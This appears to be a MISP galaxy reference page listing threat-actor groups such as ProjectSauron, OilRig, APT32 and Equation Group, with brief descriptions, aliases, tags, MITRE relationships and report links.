ProjectSauron is the name for a top level modular cyber-espionage platform, designed to enable and manage long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods. Technical details show how attackers learned from other extremely advanced actors in order to avoid repeating their mistakes. As such, all artifacts are customized per given target, reducing their value as indicators of compromise for any other victim. Usually APT campaigns have a geographical nexus, aimed at extracting information within a specific region or from a given industry. That usually results in several infections in countries within that region, or in the targeted industry around the world. Interestingly, ProjectSauron seems to be dedicated to just a couple of countries, focused on collecting high value intelligence by compromising almost all key entities it could possibly reach within the target area. The name, ProjectSauron reflects the fact that the code authors refer to ‘Sauron’ in the Lua scripts.
The tag is: misp-galaxy:threat-actor="ProjectSauron"
ProjectSauron is also known as:
-
Strider
-
Sauron
-
Project Sauron
ProjectSauron has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Strider - G0041" with estimative-language:likelihood-probability="likely"
APT 30
APT 30 is a threat group suspected to be associated with the Chinese government. While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.
The tag is: misp-galaxy:threat-actor="APT 30"
APT 30 is also known as:
-
APT30
APT 30 has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Naikon - G0019" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Naikon" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Lotus Panda" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="APT30 - G0013" with estimative-language:likelihood-probability="likely"
Links |
TA530
TA530, who we previously examined in relation to large-scale personalized phishing campaigns
The tag is: misp-galaxy:threat-actor="TA530"
Links |
GCMAN
GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services.
The tag is: misp-galaxy:threat-actor="GCMAN"
GCMAN has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="GCMAN - G0036" with estimative-language:likelihood-probability="likely"
Links |
Suckfly
Suckfly is a China-based threat group that has been active since at least 2014
The tag is: misp-galaxy:threat-actor="Suckfly"
Suckfly has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Suckfly - G0039" with estimative-language:likelihood-probability="likely"
FIN6
FIN is a group targeting financial assets including assets able to do financial transaction including PoS.
The tag is: misp-galaxy:threat-actor="FIN6"
FIN6 is also known as:
-
Skeleton Spider
-
ITG08
FIN6 has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="FIN6 - G0037" with estimative-language:likelihood-probability="likely"
Libyan Scorpions
Libyan Scorpions is a malware operation in use since September 2015 and operated by a politically motivated group whose main objective is intelligence gathering, spying on influentials and political figures and operate an espionage campaign within Libya.
The tag is: misp-galaxy:threat-actor="Libyan Scorpions"
TeamXRat
The tag is: misp-galaxy:threat-actor="TeamXRat"
TeamXRat is also known as:
-
CorporacaoXRat
-
CorporationXRat
Links |
https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/ |
OilRig
OilRig is an Iranian threat group operating primarily in the Middle East by targeting organizations in this region that are in a variety of different industries; however, this group has occasionally targeted organizations outside of the Middle East as well. It also appears OilRig carries out supply chain attacks, where the threat group leverages the trust relationship between organizations to attack their primary targets.
OilRig is an active and organized threat group, which is evident based on their systematic targeting of specific organizations that appear to be carefully chosen for strategic purposes. Attacks attributed to this group primarily rely on social engineering to exploit the human rather than software vulnerabilities; however, on occasion this group has used recently patched vulnerabilities in the delivery phase of their attacks. The lack of software vulnerability exploitation does not necessarily suggest a lack of sophistication, as OilRig has shown maturity in other aspects of their operations. Such maturities involve:
-Organized evasion testing used the during development of their tools. -Use of custom DNS Tunneling protocols for command and control (C2) and data exfiltration. -Custom web-shells and backdoors used to persistently access servers.
OilRig relies on stolen account credentials for lateral movement. After OilRig gains access to a system, they use credential dumping tools, such as Mimikatz, to steal credentials to accounts logged into the compromised system. The group uses these credentials to access and to move laterally to other systems on the network. After obtaining credentials from a system, operators in this group prefer to use tools other than their backdoors to access the compromised systems, such as remote desktop and putty. OilRig also uses phishing sites to harvest credentials to individuals at targeted organizations to gain access to internet accessible resources, such as Outlook Web Access.
The tag is: misp-galaxy:threat-actor="OilRig"
OilRig is also known as:
-
Twisted Kitten
-
Cobalt Gypsy
-
Crambus
-
Helix Kitten
-
APT 34
-
APT34
-
IRN2
OilRig has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="OilRig - G0049" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
Volatile Cedar
Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive .
The tag is: misp-galaxy:threat-actor="Volatile Cedar"
Volatile Cedar is also known as:
-
Reuse team
-
Malware reusers
-
Dancing Salome
Links |
https://blog.checkpoint.com/2015/06/09/new-data-volatile-cedar/ |
https://securelist.com/sinkholing-volatile-cedar-dga-infrastructure/69421/ |
Malware reusers
Threat Group conducting cyber espionage while re-using tools from other teams; like those of Hacking Team, and vmprotect to obfuscate.
The tag is: misp-galaxy:threat-actor="Malware reusers"
Malware reusers is also known as:
-
Reuse team
-
Dancing Salome
TERBIUM
Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.
The tag is: misp-galaxy:threat-actor="TERBIUM"
TERBIUM has relationships with:
-
similar: misp-galaxy:microsoft-activity-group="TERBIUM" with estimative-language:likelihood-probability="likely"
Links |
Molerats
In October 2012, malware attacks against Israeli government targets grabbed media attention as officials temporarily cut off Internet access for its entire police force and banned the use of USB memory sticks. Security researchers subsequently linked these attacks to a broader, yearlong campaign that targeted not just Israelis but Palestinians as well. and as discovered later, even the U.S. and UK governments. Further research revealed a connection between these attacks and members of the so-called “Gaza Hackers Team.” We refer to this campaign as “Molerats.”
The tag is: misp-galaxy:threat-actor="Molerats"
Molerats is also known as:
-
Gaza Hackers Team
-
Gaza cybergang
-
Gaza Cybergang
-
Operation Molerats
-
Extreme Jackal
-
Moonlight
Molerats has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Molerats - G0021" with estimative-language:likelihood-probability="likely"
PROMETHIUM
PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.
The tag is: misp-galaxy:threat-actor="PROMETHIUM"
PROMETHIUM is also known as:
-
StrongPity
PROMETHIUM has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="PROMETHIUM - G0056" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:microsoft-activity-group="PROMETHIUM" with estimative-language:likelihood-probability="likely"
Links |
NEODYMIUM
NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor’s characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.
The tag is: misp-galaxy:threat-actor="NEODYMIUM"
NEODYMIUM has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="NEODYMIUM - G0055" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:microsoft-activity-group="NEODYMIUM" with estimative-language:likelihood-probability="likely"
Links |
Packrat
A threat group that has been active for at least seven years has used malware, phishing and disinformation tactics to target activists, journalists, politicians and public figures in various Latin American countries. The threat actor, dubbed Packrat based on its preference for remote access Trojans (RATs) and because it has used the same infrastructure for several years, has been analyzed by Citizen Lab researchers John Scott-Railton, Morgan Marquis-Boire, and Claudio Guarnieri, and Cyphort researcher Marion Marschalek, best known for her extensive analysis of state-sponsored threats.
The tag is: misp-galaxy:threat-actor="Packrat"
Links |
Cadelle
Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014, however, it’s likely that activity began well before this date. Command-and-control (C&C) registrant information points to activity possibly as early as 2011, while executable compilation times suggest early 2012. Their attacks continue to the present day. Symantec estimates that each team is made up of between 5 and 10 people.
The tag is: misp-galaxy:threat-actor="Cadelle"
Links |
Chafer
Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014, however, it’s likely that activity began well before this date. Command-and-control (C&C) registrant information points to activity possibly as early as 2011, while executable compilation times suggest early 2012. Their attacks continue to the present day. Symantec estimates that each team is made up of between 5 and 10 people.
The tag is: misp-galaxy:threat-actor="Chafer"
Links |
https://www.symantec.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions |
PassCV
The PassCV group continues to be one of the most successful and active threat groups that leverage a wide array of stolen Authenticode-signing certificates. Snorre Fagerland of Blue Coat Systems first coined the term PassCV in a blog post. His post provides a good introduction to the group and covers some of the older infrastructure, stolen code-signing certificate reuse, and other connections associated with the PassCV malware. There are several clues alluding to the possibility that multiple groups may be utilizing the same stolen signing certificates, but at this time SPEAR believes the current attacks are more likely being perpetrated by a single group employing multiple publicly available Remote Administration Tools (RATs). The PassCV group has been operating with continued success and has already started to expand their malware repertoire into different off-the-shelf RATs and custom code. SPEAR identified eighteen previously undisclosed stolen Authenticode certificates. These certificates were originally issued to companies and individuals scattered across China, Taiwan, Korea, Europe, the United States and Russia. In this post we expand the usage of the term ‘PassCV’ to encompass the malware mentioned in the Blue Coat Systems report, as well as the APT group behind the larger C2 infrastructure and stolen Authenticode certificates. We’d like to share some of our findings as they pertain to the stolen certificates, command and control infrastructure, and some of the newer custom RATs they’ve begun development on.
The tag is: misp-galaxy:threat-actor="PassCV"
Links |
https://threatvector.cylance.com/en_us/home/digitally-signed-malware-targeting-gaming-companies.html |
Sath-ı Müdafaa
A Turkish hacking group, Sath-ı Müdafaa, is encouraging individuals to join its DDoS-for-Points platform that features points and prizes for carrying out distributed denial-of-service (DDoS) attacks against a list of predetermined targets. Their DDoS tool also contains a backdoor to hack the hackers. So the overarching motivation and allegiance of the group is not entirely clear.
The tag is: misp-galaxy:threat-actor="Sath-ı Müdafaa"
Aslan Neferler Tim
Turkish nationalist hacktivist group that has been active for roughly one year. According to Domaintools, the group’s site has been registered since December 2015, with an active Twitter account since January 2016. The group carries out distributed denial-of-service (DDoS) attacks and defacements against the sites of news organizations and governments perceived to be critical of Turkey’s policies or leadership, and purports to act in defense of Islam
The tag is: misp-galaxy:threat-actor="Aslan Neferler Tim"
Aslan Neferler Tim is also known as:
-
Lion Soldiers Team
-
Phantom Turk
Ayyıldız Tim
Ayyıldız (Crescent and Star) Tim is a nationalist hacking group founded in 2002. It performs defacements and DDoS attacks against the websites of governments that it considers to be repressing Muslim minorities or engaged in Islamophobic policies.
The tag is: misp-galaxy:threat-actor="Ayyıldız Tim"
Ayyıldız Tim is also known as:
-
Crescent and Star
TurkHackTeam
Founded in 2004, Turkhackteam is one of Turkey’s oldest and most high-profile hacking collectives. According to a list compiled on Turkhackteam’s forum, the group has carried out almost 30 highly publicized hacking campaigns targeting foreign government and commercial websites, including websites of international corporations.
The tag is: misp-galaxy:threat-actor="TurkHackTeam"
TurkHackTeam is also known as:
-
Turk Hack Team
Equation Group
The Equation Group is a highly sophisticated threat actor described by its discoverers at Kaspersky Labs as one of the most sophisticated cyber attack groups in the world, operating alongside but always from a position of superiority with the creators of Stuxnet and Flame
The tag is: misp-galaxy:threat-actor="Equation Group"
Equation Group is also known as:
-
Tilded Team
-
Lamberts
-
EQGRP
-
Longhorn
Equation Group has relationships with:
-
similar: misp-galaxy:threat-actor="Longhorn" with estimative-language:likelihood-probability="likely"
Links |
https://www.cfr.org/interactive/cyber-operations/equation-group |
Greenbug
Greenbug was discovered targeting a range of organizations in the Middle East including companies in the aviation, energy, government, investment, and education sectors.
The tag is: misp-galaxy:threat-actor="Greenbug"
Greenbug has relationships with:
-
similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
Links |
https://threatpost.com/shamoon-collaborator-greenbug-adopts-new-communication-tool/125383/ |
Gamaredon Group
Unit 42 threat researchers have recently observed a threat group distributing new, custom developed malware. We have labelled this threat group the Gamaredon Group and our research shows that the Gamaredon Group has been active since at least 2013. In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group have made a shift to custom-developed malware. We believe this shift indicates the Gamaredon Group have improved their technical capabilities.
The tag is: misp-galaxy:threat-actor="Gamaredon Group"
Gamaredon Group has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Gamaredon Group - G0047" with estimative-language:likelihood-probability="likely"
Hammer Panda
Hammer Panda is a group of suspected Chinese origin targeting organisations in Russia.
The tag is: misp-galaxy:threat-actor="Hammer Panda"
Hammer Panda is also known as:
-
Zhenbao
-
TEMP.Zhenbao
Links |
Infy
Infy is a group of suspected Iranian origin. Since early 2013, we have observed activity from a unique threat actor group, which we began to investigate based on increased activities against human right activists in the beginning of 2015. In line5with other research on the campaign, released prior to publication of this document, we have adopted the name “Infy”, which is based on labels used in the infrastructure and its two families of malware agents. Thanks to information we have been able to collect during the course of our research, such as characteristics of the group’s malware and development cycle, our research strongly supports the claim that the Infy group is of Iranian origin and potentially connected to the Iranian state. Amongst a backdrop of other incidents, Infy became one of the most frequently observed agents for attempted malware attacks against Iranian civil society beginning in late 2014, growing in use up to the February 2016 parliamentary election in Iran. After the conclusion of the parliamentary election, the rate of attempted intrusions and new compromises through the Infy agent slowed, but did not end. The trends witnessed in reports from recipients are reinforced through telemetry provided by design failures in more recent versions of the Infy malware.
The tag is: misp-galaxy:threat-actor="Infy"
Infy is also known as:
-
Operation Mermaid
-
Prince of Persia
Links |
https://www.cfr.org/interactive/cyber-operations/prince-persia |
https://unit42.paloaltonetworks.com/unit42-prince-persia-ride-lightning-infy-returns-foudre/ |
Sima
Sima is a group of suspected Iranian origin targeting Iranians in diaspora. In February 2016, Iran-focused individuals received messages purporting to be from Human RightsWatch’s (HRW) Emergencies Director, requesting that they read an article about Iran pressing Afghanr efugees to fight in Syria. While referencing a real report published by HRW, the links provided for the Director’s biography and article directed the recipient to malware hosted elsewhere. These spear-phishing attempts represent an evolution of Iranian actors based on their social engineering tactics and narrow targeting. Although the messages still had minor grammatical and stylistic errors that would be obvious to a native speaker, the actors demonstrated stronger English-language proficiency than past intrusion sets and a deeper investment in background research prior to the attempt. The actors appropriated a real identity that would be expected to professionally interact with the subject, then offered validation through links to their biography and social media, the former of which itself was malware as well. The bait documents contained a real article relevant to their interests and topic referenced, and the message attempted to address to how it aligned with their professional research or field of employment. The referenced documents sent were malware binaries posing as legitimate files using the common right-to-left filenames tactic in order to conceal the actual file extension. All of these techniques, while common pretexting mechanisms, are a refinement compared to a tendency amongst other groups to simply continually send different forms of generic malware or phishing, in the hopes that one would eventually be successful.
The tag is: misp-galaxy:threat-actor="Sima"
Links |
Blue Termite
Blue Termite is a group of suspected Chinese origin active in Japan.
The tag is: misp-galaxy:threat-actor="Blue Termite"
Blue Termite is also known as:
-
Cloudy Omega
-
Emdivi
Links |
https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/ |
https://www.cfr.org/interactive/cyber-operations/blue-termite |
Groundbait
Groundbait is a group targeting anti-government separatists in the self-declared Donetsk and Luhansk People’s Republics.
The tag is: misp-galaxy:threat-actor="Groundbait"
Links |
Longhorn
Longhorn has been active since at least 2011. It has used a range of back door Trojans in addition to zero-day vulnerabilities to compromise its targets. Longhorn has infiltrated governments and internationally operating organizations, in addition to targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors. All of the organizations targeted would be of interest to a nation-state attacker. Longhorn has infected 40 targets in at least 16 countries across the Middle East, Europe, Asia, and Africa. On one occasion a computer in the United States was compromised but, following infection, an uninstaller was launched within hours, which may indicate this victim was infected unintentionally. According to cfr, this threat actor compromises governments, international organizations, academic institutions, and financial, telecommunications, energy, aerospace, information technology, and natural resource industries for espionage purposes. Some of the tools used by this threat actor were released by Wikileaks under the name "Vault 7."
The tag is: misp-galaxy:threat-actor="Longhorn"
Longhorn is also known as:
-
Lamberts
-
the Lamberts
Longhorn has relationships with:
-
similar: misp-galaxy:threat-actor="Equation Group" with estimative-language:likelihood-probability="likely"
Callisto
The Callisto Group is an advanced threat actor whose known targets include military personnel, government officials, think tanks, and journalists in Europe and the South Caucasus. Their primary interest appears to be gathering intelligence related to foreign and security policy in the Eastern Europe and South Caucasus regions.
The tag is: misp-galaxy:threat-actor="Callisto"
Links |
https://www.f-secure.com/documents/996508/1030745/callisto-group |
APT32
Cyber espionage actors, now designated by FireEye as APT32 (OceanLotus Group), are carrying out intrusions into private sector companies across multiple industries and have also targeted foreign governments, dissidents, and journalists. FireEye assesses that APT32 leverages a unique suite of fully-featured malware, in conjunction with commercially-available tools, to conduct targeted operations that are aligned with Vietnamese state interests.
The tag is: misp-galaxy:threat-actor="APT32"
APT32 is also known as:
-
OceanLotus Group
-
Ocean Lotus
-
OceanLotus
-
Cobalt Kitty
-
APT-C-00
-
SeaLotus
-
Sea Lotus
-
APT-32
-
APT 32
-
Ocean Buffalo
APT32 has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="APT32 - G0050" with estimative-language:likelihood-probability="likely"
SilverTerrier
As these tools rise and fall in popularity (and more importantly, as detection rates by antivirus vendors improve), SilverTerrier actors have consistently adopted new malware families and shifted to the latest packing tools available.
The tag is: misp-galaxy:threat-actor="SilverTerrier"
Links |
WildNeutron
A corporate espionage group has compromised a string of major corporations over the past three years in order to steal confidential information and intellectual property. The gang, which Symantec calls Butterfly, is not-state sponsored, rather financially motivated. It has attacked multi-billion dollar companies operating in the internet, IT software, pharmaceutical, and commodities sectors. Twitter, Facebook, Apple, and Microsoft are among the companies who have publicly acknowledged attacks. Butterfly is technically proficient and well resourced. The group has developed a suite of custom malware tools capable of attacking both Windows and Apple computers, and appears to have used at least one zero-day vulnerability in its attacks. It keeps a low profile and maintains good operational security. After successfully compromising a target organization, it cleans up after itself before moving on to its next target. This group operates at a much higher level than the average cybercrime gang. It is not interested in stealing credit card details or customer databases and is instead focused on high-level corporate information. Butterfly may be selling this information to the highest bidder or may be operating as hackers for hire. Stolen information could also be used for insider-trading purposes.
The tag is: misp-galaxy:threat-actor="WildNeutron"
WildNeutron is also known as:
-
Butterfly
-
Morpho
-
Sphinx Moth
PLATINUM
PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group’s persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.
The tag is: misp-galaxy:threat-actor="PLATINUM"
PLATINUM is also known as:
-
TwoForOne
PLATINUM has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="PLATINUM - G0068" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:microsoft-activity-group="PLATINUM" with estimative-language:likelihood-probability="likely"
Links |
https://blogs.technet.microsoft.com/mmpc/2016/04/26/digging-deep-for-platinum/ |
ELECTRUM
Adversaries abusing ICS (based on Dragos Inc adversary list). Dragos, Inc. tracks the adversary group behind CRASHOVERRIDE as ELECTRUM and assesses with high confidence through confidential sources that ELECTRUM has direct ties to the Sandworm team. Our intelligence ICS WorldView customers have received a comprehensive report and this industry report will not get into sensitive technical details but instead focus on information needed for defense and impact awareness.
The tag is: misp-galaxy:threat-actor="ELECTRUM"
ELECTRUM is also known as:
-
Sandworm
ELECTRUM has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Sandworm Team - G0034" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="TeleBots" with estimative-language:likelihood-probability="likely"
Links |
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf |
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf |
RASPITE
Dragos has identified a new activity group targeting access operations in the electric utility sector. We call this activity group RASPITE. Analysis of RASPITE tactics, techniques, and procedures (TTPs) indicate the group has been active in some form since early- to mid-2017. RASPITE targeting includes entities in the US, Middle East, Europe, and East Asia. Operations against electric utility organizations appear limited to the US at this time. RASPITE leverages strategic website compromise to gain initial access to target networks. RASPITE uses the same methodology as DYMALLOY and ALLANITE in embedding a link to a resource to prompt an SMB connection, from which it harvests Windows credentials. The group then deploys install scripts for a malicious service to beacon back to RASPITE-controlled infrastructure, allowing the adversary to remotely access the victim machine.
The tag is: misp-galaxy:threat-actor="RASPITE"
RASPITE is also known as:
-
LeafMiner
-
Raspite
Links |
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east |
FIN8
FIN8 is a financially motivated group targeting the retail, hospitality and entertainment industries. The actor had previously conducted several tailored spearphishing campaigns using the downloader PUNCHBUGGY and POS malware PUNCHTRACK.
The tag is: misp-galaxy:threat-actor="FIN8"
FIN8 has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="FIN8 - G0061" with estimative-language:likelihood-probability="likely"
El Machete
El Machete is one of these threats that was first publicly disclosed and named by Kaspersky here. We’ve found that this group has continued to operate successfully, predominantly in Latin America, since 2014. All attackers simply moved to new C2 infrastructure, based largely around dynamic DNS domains, in addition to making minimal changes to the malware in order to evade signature-based detection.
The tag is: misp-galaxy:threat-actor="El Machete"
El Machete is also known as:
-
Machete
-
machete-apt
Cobalt
A criminal group dubbed Cobalt is behind synchronized ATM heists that saw machines across Europe, CIS countries (including Russia), and Malaysia being raided simultaneously, in the span of a few hours. The group has been active since June 2016, and their latest attacks happened in July and August.
The tag is: misp-galaxy:threat-actor="Cobalt"
Cobalt is also known as:
-
Cobalt group
-
Cobalt Group
-
Cobalt gang
-
Cobalt Gang
-
GOLD KINGSWOOD
-
Cobalt Spider
TA459
The tag is: misp-galaxy:threat-actor="TA459"
TA459 has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="TA459 - G0062" with estimative-language:likelihood-probability="likely"
Links |
https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts |
Cyber Berkut
The tag is: misp-galaxy:threat-actor="Cyber Berkut"
Links |
https://www.threatconnect.com/blog/russia-hacks-bellingcat-mh17-investigation/.V-wnrubaeEU.twitter[https://www.threatconnect.com/blog/russia-hacks-bellingcat-mh17-investigation/.V-wnrubaeEU.twitter] |
Danti
The tag is: misp-galaxy:threat-actor="Danti"
Links |
https://securelist.com/analysis/publications/74828/cve-2015-2545-overview-of-current-threats/ |
APT5
We have observed one APT group, which we call APT5, particularly focused on telecommunications and technology companies. More than half of the organizations we have observed being targeted or breached by APT5 operate in these sectors. Several times, APT5 has targeted organizations and personnel based in Southeast Asia. APT5 has been active since at least 2007. It appears to be a large threat group that consists of several subgroups, often with distinct tactics and infrastructure. APT5 has targeted or breached organizations across multiple industries, but its focus appears to be on telecommunications and technology companies, especially information about satellite communications. APT5 targeted the network of an electronics firm that sells products for both industrial and military applications. The group subsequently stole communications related to the firm’s business relationship with a national military, including inventories and memoranda about specific products they provided. In one case in late 2014, APT5 breached the network of an international telecommunications company. The group used malware with keylogging capabilities to monitor the computer of an executive who manages the company’s relationships with other telecommunications companies
The tag is: misp-galaxy:threat-actor="APT5"
APT5 is also known as:
-
MANGANESE
Links |
APT 22
The tag is: misp-galaxy:threat-actor="APT 22"
APT 22 is also known as:
-
APT22
Links |
http://www.slideshare.net/CTruncer/ever-present-persistence-established-footholds-seen-in-the-wild |
Tick
This threat actor targets organizations in the critical infrastructure, heavy industry, manufacturing, and international relations sectors for espionage purposes.
The tag is: misp-galaxy:threat-actor="Tick"
Tick is also known as:
-
Bronze Butler
-
RedBaldKnight
Tick has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="BRONZE BUTLER - G0060" with estimative-language:likelihood-probability="likely"
APT 26
The tag is: misp-galaxy:threat-actor="APT 26"
APT 26 is also known as:
-
APT26
-
Hippo Team
-
JerseyMikes
-
Turbine Panda
APT 26 has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Turla - G0010" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Turla Group" with estimative-language:likelihood-probability="likely"
Sabre Panda
The tag is: misp-galaxy:threat-actor="Sabre Panda"
Links |
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf |
Poisonous Panda
The tag is: misp-galaxy:threat-actor="Poisonous Panda"
Links |
TEMP.Hermit
The tag is: misp-galaxy:threat-actor="TEMP.Hermit"
Links |
https://www.fireeye.com/blog/threat-research/2018/02/attacks-leveraging-adobe-zero-day.html |
Mofang
The tag is: misp-galaxy:threat-actor="Mofang"
Mofang is also known as:
-
Superman
CopyKittens
The tag is: misp-galaxy:threat-actor="CopyKittens"
CopyKittens is also known as:
-
Slayer Kitten
CopyKittens has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="CopyKittens - G0052" with estimative-language:likelihood-probability="likely"
EvilPost
The tag is: misp-galaxy:threat-actor="EvilPost"
Links |
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html |
SVCMONDR
The referenced link links this group to Temper Panda
The tag is: misp-galaxy:threat-actor="SVCMONDR"
Links |
https://securelist.com/analysis/publications/74828/cve-2015-2545-overview-of-current-threats/ |
Test Panda
The tag is: misp-galaxy:threat-actor="Test Panda"
Links |
http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem |
Madi
Kaspersky Lab and Seculert worked together to sinkhole the Madi Command & Control (C&C) servers to monitor the campaign. Kaspersky Lab and Seculert identified more than 800 victims located in Iran, Israel and select countries across the globe connecting to the C&Cs over the past eight months. Statistics from the sinkhole revealed that the victims were primarily business people working on Iranian and Israeli critical infrastructure projects, Israeli financial institutions, Middle Eastern engineering students, and various government agencies communicating in the Middle East. Common applications and websites that were spied on include accounts on Gmail, Hotmail, Yahoo! Mail, ICQ, Skype, Google+, and Facebook. Surveillance is also performed over integrated ERP/CRM systems, business contracts, and financial management systems.
The tag is: misp-galaxy:threat-actor="Madi"
Electric Panda
The tag is: misp-galaxy:threat-actor="Electric Panda"
Links |
http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem |
Maverick Panda
The tag is: misp-galaxy:threat-actor="Maverick Panda"
Maverick Panda is also known as:
-
PLA Navy
-
Sykipot
Maverick Panda has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="APT18 - G0026" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Wekby" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Samurai Panda" with estimative-language:likelihood-probability="likely"
Links |
https://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments |
Kimsuki
This threat actor targets South Korean think tanks, industry, nuclear power operators, and the Ministry of Unification for espionage purposes.
The tag is: misp-galaxy:threat-actor="Kimsuki"
Kimsuki is also known as:
-
Kimsuky
-
Velvet Chollima
Links |
https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/ |
Snake Wine
While investigating some of the smaller name servers that APT28/Sofacy routinely use to host their infrastructure, Cylance discovered another prolonged campaign that appeared to exclusively target Japanese companies and individuals that began around August 2016. The later registration style was eerily close to previously registered APT28 domains, however, the malware used in the attacks did not seem to line up at all. During the course of our investigation, JPCERT published this analysis of one of the group’s backdoors. Cylance tracks this threat group internally as ‘Snake Wine’. The Snake Wine group has proven to be highly adaptable and has continued to adopt new tactics in order to establish footholds inside victim environments. The exclusive interest in Japanese government, education, and commerce will likely continue into the future as the group is just starting to build and utilize their existing current attack infrastructure.
The tag is: misp-galaxy:threat-actor="Snake Wine"
Careto
This threat actor targets governments, diplomatic missions, private companies in the energy sector, and academics for espionage purposes. The Mask is an advanced threat actor that has been involved in cyber-espionage operations since at least 2007. The name "Mask" comes from the Spanish slang word "Careto" ("Ugly Face" or “Mask”) which the authors included in some of the malware modules. More than 380 unique victims in 31 countries have been observed to date.What makes “The Mask” special is the complexity of the toolset used by the attackers. This includes an extremely sophisticated malware, a rootkit, a bootkit, 32-and 64-bit Windows versions, Mac OS X and Linux versions and possibly versions for Android and iPad/iPhone (Apple iOS).
The tag is: misp-galaxy:threat-actor="Careto"
Careto is also known as:
-
The Mask
-
Mask
-
Ugly Face
Links |
https://securelist.com/the-caretomask-apt-frequently-asked-questions/58254/ |
Gibberish Panda
The tag is: misp-galaxy:threat-actor="Gibberish Panda"
Links |
http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem |
